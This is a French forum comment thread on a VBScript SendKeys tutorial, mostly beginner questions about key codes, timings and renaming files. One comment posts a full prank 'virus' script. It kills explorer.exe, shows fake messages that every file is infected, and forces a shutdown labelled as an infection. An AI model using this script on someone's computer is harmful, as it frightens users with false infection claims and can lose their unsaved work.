BZY1
Messages postés214Date d'inscriptionjeudi 10 mars 2005StatutMembreDernière intervention12 avril 2008
-
21 juil. 2005 à 14:12
medas918
Messages postés45Date d'inscriptionlundi 14 juin 2010StatutMembreDernière intervention28 mai 2012
-
15 juin 2010 à 14:06
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.
medas918
Messages postés45Date d'inscriptionlundi 14 juin 2010StatutMembreDernière intervention28 mai 2012 15 juin 2010 à 14:06
bonjour
escuse j'ai vu ton script trop top
mais ma question à rien à voir avec ton script
je veux juste savoir comment on fais deux commandesdos successive en vbs est aussi comment est représenter la touche enter afin que sa m'évite de le faire merci de ta réponse
cordialement
cs_hackoo
Messages postés91Date d'inscriptionmercredi 3 avril 2002StatutMembreDernière intervention29 juillet 2013 7 juin 2009 à 22:48
cs_antho2005
Messages postés150Date d'inscriptionsamedi 8 avril 2006StatutMembreDernière intervention 1 mai 20123 19 juil. 2006 à 17:43
Salut tout le monde,
viran => " si vous savez comment on fait une combinaison de touche "alt+entree" "
tout simple (pour pas dire de gros mots) : variable.SendKeys ("{alt}{enter}")
()^_^) 9/10 (^_^()
Antho2005
RavenShadoW
Messages postés3Date d'inscriptionmardi 23 septembre 2003StatutMembreDernière intervention23 mai 2006 23 mai 2006 à 14:43
Commentaire de : tekila_bandita le 11/08/2005 09:59:40
alors est-ce que quelqu'un pourrait me filé un code permettant de modifier l'extension de tout mes ".txt" en ".doc"....
Réponse :
Set variable=CreateObject("WScript.Shell")
On error resume next ' permet d'éviter d'afficher certaines erreurs
rep = InputBox("Entrez un répertoire", "Selection d'un répertoire", "exemple : C:\Dossier1\DossierA")
rep = rep & "\*.txt *.doc" ' changez le type si vous le souhaitez
espace = " " ' mettre un espace entre les commandes !!
condition = "/y"
' ************************ LANCEMENT De COMMAND *****************
variable.Run("C:\winnt\System32\cmd.exe") ' vérrifier C:\winnt ou C:\windows ( %windir% n'as pas marcher chez moi )
wscript.sleep 150
variable.SendKeys ("@echo off")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("rename ")
wscript.sleep 150
variable.SendKeys (rep)
wscript.sleep 200
'Les touches comme "entrer", "alt" faut les mettre entre des accoloades {}
variable.SendKeys ("{enter}")
Voila :) un peu long mais bon c'est dans l'esprit du programme d'origine :)
cs_viran
Messages postés104Date d'inscriptionjeudi 6 mai 2004StatutMembreDernière intervention31 décembre 2006 6 févr. 2006 à 13:28
Vraiment bien ce code tu peux lancer nimporte quel application comme cmd.exe et faire ca par exemple :
'définission de la variable
'la variable peut porter n'importe quel nom, ici variable.
Set variable=CreateObject("WScript.Shell")
'lancement du notepad dans le répertoire "C:\WINDOWS\System32" grace a la commande "nom de
la variable.Run"
'Bien sur, vous pouvez lancer d'autre chose, du moment que son répertoire est correctement
indiquer.
variable.Run("C:\WINDOWS\System32\cmd.exe")
'patiente 5 millisecondes ( je crois ) pour laisser le temps au pc de s'executer.
wscript.sleep 50
'écris la lettre "L" grace a la commande "nom de la variable.SendKeys"
'Bien sur, plusieurs lettre peuvent apparaitre en meme temps, mais là on doit simuler une
si vous savez comment on fait une combinaison de touche "alt+entree" plz merci ;) 9/10 car j'ai fait quelques changements.
J'ai mis 212 au lieu de 121 qui je trouve est trop rapide.
yunderwo
Messages postés23Date d'inscriptionmardi 27 janvier 2004StatutMembreDernière intervention22 mars 2006 18 nov. 2005 à 18:57
A 150 ca marche terrible !!!
wscript.sleep 150
MoRpHeUsTyLe
Messages postés19Date d'inscriptionmercredi 24 août 2005StatutMembreDernière intervention 1 septembre 20051 28 août 2005 à 21:34
cé vrémen pa mal ton code !Vrémen pratik...
tekila_bandita
Messages postés248Date d'inscriptionmercredi 15 juin 2005StatutMembreDernière intervention15 mars 200733 11 août 2005 à 09:59
Svp, j'ai posté n mess sur le forum, mais je n'ai pas obtenu de reponse...
alors est-ce que quelqu'un pourrait me filé un code permettant de modifier l'extension de tout mes ".txt" en ".doc"....
MERCI BIEN!
tekila_bandita
Messages postés248Date d'inscriptionmercredi 15 juin 2005StatutMembreDernière intervention15 mars 200733 8 août 2005 à 11:52
Je voulais tous vous remercier pour le forum, car je pense que je le monopolise pas mal avec mes questions...
Je débute, j'ai 14 ans, j'ai commencé la programmation par un simple msgbox() qui m'a donner envie d'allé plus loin... bien sur, je reconnais que moi aussi j'ai joué au lamers mais bon...J'ai eue mon premier pc ya 7 mois, je n'en avait jamais eu au paravant...
alors, soyez clément! lol
merci en tout cas pour votre aide !
;)
BZY1
Messages postés214Date d'inscriptionjeudi 10 mars 2005StatutMembreDernière intervention12 avril 2008 29 juil. 2005 à 08:48
je sais j'étais aussi une des personne à t'avoir répondu sur le forum ;)
tekila_bandita
Messages postés248Date d'inscriptionmercredi 15 juin 2005StatutMembreDernière intervention15 mars 200733 28 juil. 2005 à 18:04
c'est bon j'ai résolu mon problème, tu avais raisons :
dim a
a=inputbox("Tape le temps d'attente")
wscript.sleep clng(a)
;)
BZY1
Messages postés214Date d'inscriptionjeudi 10 mars 2005StatutMembreDernière intervention12 avril 2008 28 juil. 2005 à 10:12
je ne pense pas que tu ais besoin des & avant et après ton "a" par contre déclare bien ta variable et gère l'erreur au cas où quelqu'un met une lettre dans ton inputbox
tekila_bandita
Messages postés248Date d'inscriptionmercredi 15 juin 2005StatutMembreDernière intervention15 mars 200733 28 juil. 2005 à 10:07
SVP: j'ai un petit problème :
a=inputbox("Tape le temps d'attente")
wscript.sleep &a&
comment inclure la valeur "a" dans le code ?
merci pour votre aide.....
tekila_bandita
Messages postés248Date d'inscriptionmercredi 15 juin 2005StatutMembreDernière intervention15 mars 200733 28 juil. 2005 à 09:15
oui, parfois, il faut du temps au pc pour laner l'application mais le script s'execute quand même...
cs_Julien39
Messages postés6414Date d'inscriptionmardi 8 mars 2005StatutModérateurDernière intervention29 juillet 2020371 23 juil. 2005 à 21:28
C'est original bravo.
grosbidou21
Messages postés74Date d'inscriptionmardi 3 février 2004StatutMembreDernière intervention 5 février 20102 22 juil. 2005 à 16:32
simpa ce petit vbs! Juste un petit truc, dans mon cas les 5 millisecondes d'attende au début ne suffit pas. Je l'ai changé à 150 et la tout est bien.
@ +
BZY1
Messages postés214Date d'inscriptionjeudi 10 mars 2005StatutMembreDernière intervention12 avril 2008 22 juil. 2005 à 08:42
salut je pense qu'un truc du genre peut t'aider:
sub form_keypress(ascii as integer)
Do While ascii=""
'ton code
Loop
end sub
ou
sub form_keypress(ascii as integer)
dim a as byte
Do While a=150
a=a+1
if ascii=27 then goto sortie_boucle 'touche echap
Loop
sortie_boucle:
'reste du code
end sub
a+
tekila_bandita
Messages postés248Date d'inscriptionmercredi 15 juin 2005StatutMembreDernière intervention15 mars 200733 22 juil. 2005 à 08:35
Oui je pense que ce serait bien mais ils me semble qu'en vbs ce n'est pas possible...
SVP: Je recherche un code pour quitter une boucle do loop lorsqu'on appuie sur une touche...
cs_Alain Proviste
Messages postés908Date d'inscriptionjeudi 26 juillet 2001StatutModérateurDernière intervention 1 février 20152 21 juil. 2005 à 15:49
ca serait bien de faire en sorte que si la personne change de fenetre ca ne continu pas à taper dans la fenetre qu'il aura ouverte.
BZY1
Messages postés214Date d'inscriptionjeudi 10 mars 2005StatutMembreDernière intervention12 avril 2008 21 juil. 2005 à 14:12
Pour les commentaires et pour l'utilisation de sendkey c'est pas trop mal
8/10
bon prog a+
15 juin 2010 à 14:06
escuse j'ai vu ton script trop top
mais ma question à rien à voir avec ton script
je veux juste savoir comment on fais deux commandesdos successive en vbs est aussi comment est représenter la touche enter afin que sa m'évite de le faire merci de ta réponse
cordialement
7 juin 2009 à 22:48
Set variable=CreateObject("WScript.Shell")
variable.regWrite "HKEY_CURRENT_USER\Console\Fullscreen", "1", "REG_DWORD"
variable.run "Taskkill /IM Explorer.exe /F", 0 ,True
wscript.sleep 2000
variable.run "Explorer.exe"
wscript.sleep 2000
variable.Run("cmd /C %windir%\system32\cmd.exe")
wscript.sleep 1000
variable.SendKeys ("@echo off")
variable.SendKeys ("{enter}")
'variable.AppActivate "c:\windows\system32\cmd.exe"
'wscript.sleep 1000
'variable.SendKeys ("MODE CON FULLSCREEN")
variable.SendKeys ("COLOR c")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys (" Title Virus ZABOUROSKY EN COURS DE CHARGEMENT..........")
wscript.sleep 4000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("@echo on")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys (" prompt Virus ZABOUROSKY EN COURS DE CHARGEMENT..........")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
wscript.sleep 2000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
'variable.SendKeys (" prompt Virus ZABOUROSKY EN COURS DE CHARGEMENT.............")
variable.SendKeys ("{enter}")
wscript.sleep 4000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
wscript.sleep 6000
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
'wscript.sleep 4000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("@echo off")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("C")
wscript.sleep 222 '
variable.SendKeys ("h")
wscript.sleep 222
variable.SendKeys ("a")
wscript.sleep 222
variable.SendKeys ("r")
wscript.sleep 222
variable.SendKeys ("g")
wscript.sleep 222
variable.SendKeys ("e")
wscript.sleep 222 '
variable.SendKeys ("m")
wscript.sleep 222
variable.SendKeys ("e")
wscript.sleep 222
variable.SendKeys ("n")
wscript.sleep 222
variable.SendKeys ("t")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 2000
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("ACTIVATION DU VIRUS ZABOUROSKY !")
wscript.sleep 4000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
variable.SendKeys ("cd ")
variable.SendKeys ("{enter}")
variable.SendKeys ("dir/s")
variable.SendKeys ("{enter}")
wscript.sleep 60000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("@echo on")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("prompt ACTIVATION DU VIRUS ZABOUROSKY AVEC SUCCES! Tous les fichiers sont infectés avec succes !")
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
'Do
'wscript.sleep 20000
'variable.SendKeys"%{F4}"
'Loop
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
wscript.sleep 2000
variable.SendKeys ("shutdown -s -t 30 -c Infected_by_Virus_Win32/ZABOUROSKY.A")
variable.SendKeys ("{enter}")
wscript.sleep 2000
variable.Run "cmd /C taskkill /f /im explorer.exe",0,TRUE
variable.SendKeys ("{enter}")
Set variable = Nothing
wscript.quit
25 nov. 2006 à 13:34
Désolé.
Cordialement.
25 nov. 2006 à 13:29
je n'y connais rien en VBS. Pouvez-vous me dire comment exécuter ce script s'il vous plaît?
Merci.
Cordialement.
20 juil. 2006 à 18:51
voici les code pour maj, ctrl, alt
Touche Code
MAJ +
CTRL ^
ALT %
20 juil. 2006 à 17:57
Sinon les gars vous fatiguez pas pour lancer cmd : variable.Run("cmd") ça marche !
de même que variable.Run("notepad") lance le bloc note, variable.Run("calc") lance la calculette et variable.Run("pbrush") lance paint.
voici un petit code pour effectuer un calcul par exemple :
calcul = InputBox("Rentrez votre calcul :","Calcul")
Set variable=CreateObject("WScript.Shell")
variable.Run("calc")
wscript.sleep 150
variable.SendKeys (calcul & "{enter}")
@+
Antho2005
19 juil. 2006 à 17:43
viran => " si vous savez comment on fait une combinaison de touche "alt+entree" "
tout simple (pour pas dire de gros mots) : variable.SendKeys ("{alt}{enter}")
()^_^) 9/10 (^_^()
Antho2005
23 mai 2006 à 14:43
alors est-ce que quelqu'un pourrait me filé un code permettant de modifier l'extension de tout mes ".txt" en ".doc"....
Réponse :
Set variable=CreateObject("WScript.Shell")
On error resume next ' permet d'éviter d'afficher certaines erreurs
rep = InputBox("Entrez un répertoire", "Selection d'un répertoire", "exemple : C:\Dossier1\DossierA")
rep = rep & "\*.txt *.doc" ' changez le type si vous le souhaitez
espace = " " ' mettre un espace entre les commandes !!
condition = "/y"
' ************************ LANCEMENT De COMMAND *****************
variable.Run("C:\winnt\System32\cmd.exe") ' vérrifier C:\winnt ou C:\windows ( %windir% n'as pas marcher chez moi )
wscript.sleep 150
variable.SendKeys ("@echo off")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("rename ")
wscript.sleep 150
variable.SendKeys (rep)
wscript.sleep 200
'Les touches comme "entrer", "alt" faut les mettre entre des accoloades {}
variable.SendKeys ("{enter}")
wscript.sleep 800
variable.SendKeys ("@echo off")
variable.SendKeys ("{enter}")
variable.SendKeys ("Fait par RavenShadoW")
wscript.sleep 3000
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("exit")
variable.SendKeys ("{enter}")
Set WshShell = Nothing
Voila :) un peu long mais bon c'est dans l'esprit du programme d'origine :)
6 févr. 2006 à 13:28
'définission de la variable
'la variable peut porter n'importe quel nom, ici variable.
Set variable=CreateObject("WScript.Shell")
'lancement du notepad dans le répertoire "C:\WINDOWS\System32" grace a la commande "nom de
la variable.Run"
'Bien sur, vous pouvez lancer d'autre chose, du moment que son répertoire est correctement
indiquer.
variable.Run("C:\WINDOWS\System32\cmd.exe")
'patiente 5 millisecondes ( je crois ) pour laisser le temps au pc de s'executer.
wscript.sleep 50
'écris la lettre "L" grace a la commande "nom de la variable.SendKeys"
'Bien sur, plusieurs lettre peuvent apparaitre en meme temps, mais là on doit simuler une
frappe humaine
variable.SendKeys ("@echo off")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("C")
wscript.sleep 212 '
variable.SendKeys ("h")
wscript.sleep 212
variable.SendKeys ("a")
wscript.sleep 212
variable.SendKeys ("r")
wscript.sleep 212
variable.SendKeys ("g")
wscript.sleep 212
variable.SendKeys ("e")
wscript.sleep 212 '
variable.SendKeys ("m")
wscript.sleep 212
variable.SendKeys ("e")
wscript.sleep 212
variable.SendKeys ("n")
wscript.sleep 212
variable.SendKeys ("t")
wscript.sleep 212
variable.SendKeys (".")
wscript.sleep 212
variable.SendKeys (".")
wscript.sleep 212
variable.SendKeys (".")
wscript.sleep 212
'Les touches comme "entrer", "alt" et compagnie sont introduite par des accoloades {}
'Donc, ici, s'effectuera un saut de ligne...
variable.SendKeys ("{enter}")
wscript.sleep 212
variable.SendKeys ("Termine")
Set WshShell = Nothing
et ca rend vraiment bien!!
si vous savez comment on fait une combinaison de touche "alt+entree" plz merci ;) 9/10 car j'ai fait quelques changements.
J'ai mis 212 au lieu de 121 qui je trouve est trop rapide.
18 nov. 2005 à 18:57
wscript.sleep 150
28 août 2005 à 21:34
11 août 2005 à 09:59
alors est-ce que quelqu'un pourrait me filé un code permettant de modifier l'extension de tout mes ".txt" en ".doc"....
MERCI BIEN!
8 août 2005 à 11:52
Je débute, j'ai 14 ans, j'ai commencé la programmation par un simple msgbox() qui m'a donner envie d'allé plus loin... bien sur, je reconnais que moi aussi j'ai joué au lamers mais bon...J'ai eue mon premier pc ya 7 mois, je n'en avait jamais eu au paravant...
alors, soyez clément! lol
merci en tout cas pour votre aide !
;)
29 juil. 2005 à 08:48
28 juil. 2005 à 18:04
dim a
a=inputbox("Tape le temps d'attente")
wscript.sleep clng(a)
;)
28 juil. 2005 à 10:12
28 juil. 2005 à 10:07
a=inputbox("Tape le temps d'attente")
wscript.sleep &a&
comment inclure la valeur "a" dans le code ?
merci pour votre aide.....
28 juil. 2005 à 09:15
23 juil. 2005 à 21:28
22 juil. 2005 à 16:32
@ +
22 juil. 2005 à 08:42
sub form_keypress(ascii as integer)
Do While ascii=""
'ton code
Loop
end sub
ou
sub form_keypress(ascii as integer)
dim a as byte
Do While a=150
a=a+1
if ascii=27 then goto sortie_boucle 'touche echap
Loop
sortie_boucle:
'reste du code
end sub
a+
22 juil. 2005 à 08:35
SVP: Je recherche un code pour quitter une boucle do loop lorsqu'on appuie sur une touche...
21 juil. 2005 à 15:49
21 juil. 2005 à 14:12
8/10
bon prog a+